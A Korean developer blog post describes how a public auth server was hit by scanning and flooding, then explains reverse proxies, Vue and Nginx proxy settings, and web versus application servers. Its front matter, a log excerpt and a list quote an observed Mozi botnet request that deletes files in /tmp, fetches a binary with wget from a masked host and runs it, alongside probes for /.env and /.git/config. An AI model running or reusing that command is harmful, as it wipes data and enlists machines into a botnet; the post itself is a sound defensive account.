---
layout: post
title: "자잘한 도움말 #11 이름 모를 외국인들에게 공격당함"
description: "프록시, 리버스 프록시, 웹 스캐닝, DDoS, Nginx, Vue Proxy, Proxy, Reverse Proxys, /shell?cd+/tmp;rm+-rf+*;wget+http://xx.xx.xx.xx:xxxxx/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws, 해커맨, 웹 서버와 웹 어플리케이션 서버의 차이, 웹 서비스 구축 중 신경 써야할 보안 문제"
date: 2023-10-01 12:49:00 +0900
categories: [Micro]
---

## TL;DR

- 클라우드에 여러 서버 인스턴스를 열어 두었는데 수상한 접근 시도를 발견했다.

```
[Nest] 9095  - xx/xx/xxxx, x:xx:xx AM	[HttpFilter]
{
  "statusCode":404,
  "message":"Cannot GET /shell?cd+/tmp;rm+-rf+*;wget+http://xx.xx.xx.xx:xxxxx/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws",
  "error":"Not Found"
}
hostname: xx.xxx.xxx.xx, addr: ::ffff:xx.xx.xx.xx
```

- 요청을 직접 받을 서버만 공개하고 리버스 프록시를 사용하자.
  - 보안 취약점을 제거할 수 있고, 모니터링할 포인터를 하나로 좁힐 수 있다.
  - 프론트엔드 프레임워크(Vue, React) 수준의 프록시 설정은 개발용 설정이다.
  - 배포 환경에서는 Nginx나 Apache 같은 웹 서버에서 프록시를 설정하자. 

## 이하 그리 중요하진 않은 내용들

### 험난한 정보의 바다

인터넷을 정보의 바다라고들 한다. 아마 한.. 30년 전부터.. 이젠 좀 삭았지만 나는 이 표현을 좋아한다. 겉으로 보기엔 평화롭고 풍요로워 보이는 수면 아래에 이런 상어들이 득실거리고 있다는 사실을 잘 나타내거든.

![경쟁상대](https://i.postimg.cc/jshdKXWs/image.png)  
{: .center .w-3-quarter}

특히 해커맨, 그들은 우리의 IP를 언제든지 알고 있다. 오늘은 외부 접속이 가능하도록 공개된 서버를 구축하는 중 내가 겪었던 일에 대해 코멘트를 달아보고자 한다. 쉘 환경에서 명령어를 입력한다던가, 코드를 수정한다던가, 운영체제의 설정 파일을 건드리는 내용은 아니다. 좀 더 이론 혹은 지침에 가까운 내용을 다뤄볼 계획이다. 

### 작년 이맘 때에...

당시 상황에 대해 먼저 정리해 보자. 크게 5개 요소로 이루어진 서비스를 구축해야 하는 상황이었다. 그중 하나는 사용자 로컬 PC에서 동작해야 하는 에이전트 프로그램이기 때문에 제외하고, 서버 인스턴스를 4개 제공받았다. 그림으로 그려볼까.

![대략적](https://i.postimg.cc/L4BGvRNM/briefarch.png)  
{: .center}

사실 각 서버 프로그램들을 하나의 인스턴스 안에 세팅해도 됐지만, 어쩌다 보니 누추한 서비스에 비해 과분한 대접을 받게 되었다. 나는 각 인스턴스마다 필요한 포트를 담당자분께 요청하고, 외부에서 접근이 가능하도록 만들었다. 위 구성에 기반해 내가 생각한 서비스의 접근 형태는 다음과 같았다.

![뭔가 이상하겠지만 그래도 참아](https://i.postimg.cc/rpzLPpQH/first.png)  
{: .center}

비록 당시 각 구성요소들이 어떤 코드와 설정으로 구현되어 있었는지는 잘 몰랐지만, 이렇게 가정하고 서비스를 구축해 어쨌든 잘 동작하는 것을 확인하였다. 그리고 몇 주 뒤, **인증 서버가 사망하게 되는데...**

### 부검

로그인이 안된다는 연락을 받은 나는 인증 서버의 인스턴스에 접속해 서버가 죽은 것을 발견하였다. 로그엔 서버의 단말마가 이렇게 기록되어 있었다.

![단말마](https://i.postimg.cc/3JV8zpBV/image.png)  
{: .center .rounded-edge}

![단말마2](https://i.postimg.cc/mgsB0ZwR/image.png)  
조금 개선된 버전
{: .center .rounded-edge}

수많은 404 에러의 향연, 애초에 제한된 사용자에게만 공개될 서비스였는데 비이상적으로 많은 요청 실패가 기록되어 있다. 게다가 요청 경로들의 면면들이 모두 흉악하다.

- `/.env`
- `/.git/config`
- `/test`
- `/Api/GetCmd.aspx`
- `/shell?cd+/tmp;rm+-rf+*;wget+http://xx.xx.xx.xx:xxxxx/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws`

다행히 정보가 나간 정황은 보이지 않았다. 애초에 그럴 정보가 들어있지도 않은 상태였고. 감당할 수 없는 요청이 들어와 서버 프로세스가 사망했거나 인스턴스가 재부팅되었을 것이다. 3개의 서버 중 한 서버에만 공격이 발견되었는데, 때마침 그 서버의 이름은 XXX-**auth**. 즉 로그인/유저정보 관리 등을 수행하는 인증 서버였다. 누가 봐도 악의적인 공격.

![해커맨](https://i.postimg.cc/K80c5nhw/image.png)  
"당신의 IP를 언제든지 알고 있음"
{: .center}

내가 받은 요청 경로들을 살펴보자, 민감한 설정 파일들, 뭔가 동작하게 만들 수 있을 것 같은 명령어, 그 악명 높은 `rm -rf`도 섞여있다. 동시에 `wget`으로 `Mozi.a`라는 파일을 받으려 하는 것도 볼 수 있다. 검색을 해보니 Mozi Botnet이라는 악성코드와 연관된 것으로 보인다. 아마 내 인스턴스를 좀비 PC로 만들려는 시도였겠지. 공격자는 미리 유명 클라우드들의 IP 테이블들을 준비, 80/443 포트 혹은 기타 자주 사용되는 포트로 요청을 보내는 스크립트를 구동해놓았을 것이다. 그중 Timeout이 아닌 응답을 주는 호스트들을 기록했을 것이고, 거기서 API 안내 페이지나 기타 정보를 통해 **Auth**라는 이름을 가진 내 인증 서버를 발견했을 것이다. 그리고 본인이 가진 좀비 PC들을 동원해 요청 폭탄을 터트리고(**DDoS 공격**), 취약점 탐색을 시도한 것으로 보인다(**웹 스캐닝**).

### 소 잃고 외양간 고치기

사실 가게 문을 활짝 열어놓은 순간부터 이런 공격 시도 자체를 원천 차단하는 방법은 없다. 적어도 내가 알기론. 외부 접속이 가능하게 만든 서비스는 그 말대로 누구든 외부에서 접속이 가능해야 하기 때문. 프로그래밍적으로 존재하지 않는 API는 404 에러를, 권한이 없는 API는 401 에러를 반환해 줄 순 있지만, 그 요청 자체를 막을 순 없다. 따라서 우리 서비스를 지키기 위해선 트래픽을 꾸준히 모니터링하면서 비정상적인 접속을 시도하는 IP 주소를 차단해 줘야 한다. 하지만 이번 문제는 나의 무지가 자초한 부분도 있었다. 앞서 내가 생각했던 서비스 구조를 다시 보자.

![뇌피셜](https://i.postimg.cc/rpzLPpQH/first.png)  
{: .center}

사실 내 서비스는 이렇게 동작하지 않았다. 앞서 내가 *"각 구성요소들이 어떤 코드와 설정으로 구현되어 있었는지는 잘 몰랐지만"*이라고 말한 것이 복선. 나는 이 프로젝트가 한창 개발 중일 때 에이전트 개발 담당이었기 때문에 각 서버가 어떻게 통신하는지 잘 몰랐었다. 실제 통신은 다음과 같이 이루어지고 있었다.

![현실](https://i.postimg.cc/dtghN7Cq/second.png)
{: .center}

모든 요청은 웹 서버가 받고 있었다. 웹 서버에 설정된 **프록시(Proxy)**가 요청 경로를 해석해 내부 네트워크의 적절한 서버로 보내주고 있었던 것. 별도 설정을 한 기억이 없는데도 동일 출처 정책(Same-Origin Policy) 위반 오류가 발생하지 않고 잘 동작한 것이 이 때문이었다. 각 서버 주소가 다음과 같다고 가정하면,

- http://50.xx.xxx.1/ : 웹 서버 (웹 페이지)
- http://50.xx.xxx.2/ : 리소스 서버
- http://50.xx.xxx.3/ : 인증 서버

50.xx.xxx.1의 웹 페이지가 50.xx.xxx.3의 자원, 즉 다른 출처의 자원을 요구하기 때문에 그 악명 높은 CORS 오류를 받았어야 한다. 실제 요청은 다음과 같이 이루어지고 있었다.

- http://50.xx.xxx.1/ : 웹 서버 (웹 페이지)
- http://50.xx.xxx.1/api : 리소스 서버 (프록시가 내부 네트워크 10.0.0.2에게 요청 전달)
- http://50.xx.xxx.1/auth : 인증 서버 (프록시가 내부 네트워크 10.0.0.3에게 요청 전달)

즉, 리소스 서버와 인증 서버는 애초에 외부에 공개될 필요가 없었다. 안전한 내부 네트워크에만 문을 열어놓으면 된다는 뜻. 나는 이걸 인증 서버의 로그를 보면서 모든 정상적인 요청은 웹 서버의 내부 네트워크 주소(10.0.0.1)로부터만 온다는 것을 확인하면서 깨닫게 되었다.

#### Proxy

![Proxy](https://i.postimg.cc/KcrCjSvb/Forward-proxy-vs-reverse-proxy-1.png)  
[이미지 출처](https://securityboulevard.com/2023/04/what-is-reverse-proxy-how-does-it-works-and-what-are-its-benefits/)
{: .center}

특히 이번 사례에서 동작하는 것은 리버스 프록시다. 서버 측에서 동작하며 클라이언트가 직접적으로 내부 네트워크 리소스에 접근하지 못하게 하는 프록시를 리버스 프록시라고 한다. 반대로 클라이언트 측에서 동작하며 클라이언트가 웹 서비스에 접근할 때 사용되는 프록시는 포워드 프록시라고 한다. 이렇게 요청을 전문적으로 받는 서버 컴포넌트가 존재함으로써 우리는 방어에 신경 쓸 포인트를 하나로 좁힐 수 있게 된다. 예를 들어, 봇 접속을 차단하기 위해 CAPTCHA 서비스를 적용한다고 생각해보자. 모든 서버들이 직접 요청을 받으려면 그 서버들 모두에게 CAPTCHA를 적용해 줘야 할 것이다. 프록시는 이런 보안 측면 이점 이외에도 로드 밸런싱, 캐싱 등 다양한 이점을 제공하니 서비스를 구성할 때 그 장점을 염두에 두자.

#### 간단한 Proxy 설정

```javascript
module.exports = {
  devServer: {
    port: process.env.VUE_APP_PORT || 80,
    proxy: {
      '/userapi': {
        target: process.env.VUE_APP_AUTH_SERVER,
        changeOrigin: true,
        pathRewrite: { '^/userapi': '/api' },
      },
      '/api': {
        target: process.env.VUE_APP_RESOURCE_SERVER,
        changeOrigin: true,
      },
    },
  },
  runtimeCompiler: true,
};
```

과거 팀원이 만들어 두었던 프록시 설정이 여기 있다. Vue로 진행한 프로젝트였고 vue.config.js 파일에서 해당 설정을 할 수 있다. 보시다시피 속성명이 `devServer`이다. 프론트엔드 프레임워크를 사용해 개발을 할 땐 보통 내장 웹 서버 `webpack-dev-server`를 통해 빌드 결과를 확인한다. 즉, 이 설정은 `webpack-dev-server`에 프록시를 설정하는 것을 의미한다. React를 사용할 때도 비슷한 방식으로 프록시를 설정할 수 있다. 하지만 실제 배포 환경에서는 이런 개발용 내장 서버가 아닌 별도의 웹 서버 프로그램을 사용해야 한다. 대표적으로 Nginx. Nginx에서는 다음과 같이 프록시 설정을 할 수 있다. 기초적인 속성만 적어놨으니까 제대로 설정하길 원한다면 자세한 설정은 더 찾아보는 것을 추천한다.

```nginx
server {
  listen 80;

  location /api {
    proxy_pass http://my.resource.server;
  }
}
```

### 번외. 웹 서버 vs 웹 어플리케이션 서버

이번 글 자료 찾는 중 개인적으로 헷갈리던 용어를 한 번 정리하게 되었다. 웹 서버와 웹 어플리케이션 서버. 항상 프론트엔드가 만드는 것을 "웹 어플리케이션"이라고 부르는 것이 익숙했다. SPA라는 용어도 있고. 하지만 이걸 배포하는 서버는 웹 서버라고 부른다. 여기서 괴리감을 조금 느끼고 있었다. 요약하면 다음과 같다.

- 웹 서버는 정적 파일(HTML & JS & CSS)을 배포하는 역할을 한다. 대표적으로 `index.html`이라는 이름의 html 페이지를 배포하는 형태.
- 웹 어플리케이션은 어플리케이션이라고 부르지만 결국 그 빌드의 결과물은 정적 파일이다. 자바스크립트 파일 비중이 조금 큰 정적 파일들.
  - 즉, 정적 파일을 배포하는 웹 서버로 배포하는 것이 일반적이다.
- 웹 어플리케이션 서버는 그 자체적으로 클라이언트의 요청에 동적으로 응답하기 위한 로직을 가지고 있다.
  - "웹 어플리케이션" 서버라기보단, 웹 "어플리케이션 서버"로 생각하면 좋을 것 같다.

## 내가 배운 것

- 해커맨은 우리의 IP를 언제든지 알고 있다.
- 내 정보를 무작정 공개하지 말자.
- 백문이 불여일견이랬다. 프록시를 왜 써야하는지, 애초에 프록시란게 뭔지 이름만 들어왔지 이해가 잘 안됐는데 직접 당해보니 알 것 같다.
- 동일 출처 정책이 존재하는 이유
- 어쩌다보니 웹 서버와 웹 어플리케이션 서버의 차이도 조금 이해하게 되었다.

---

9월 중, 추석에 이 글을 완성하려고 했는데, 허리를 한 번 크게 삐어버렸다. 현재 허리가 아주 짜릿한 상태. 아무튼 다들 풍성한 한가위 보냈길 바라며, 허리 조심들 하세요~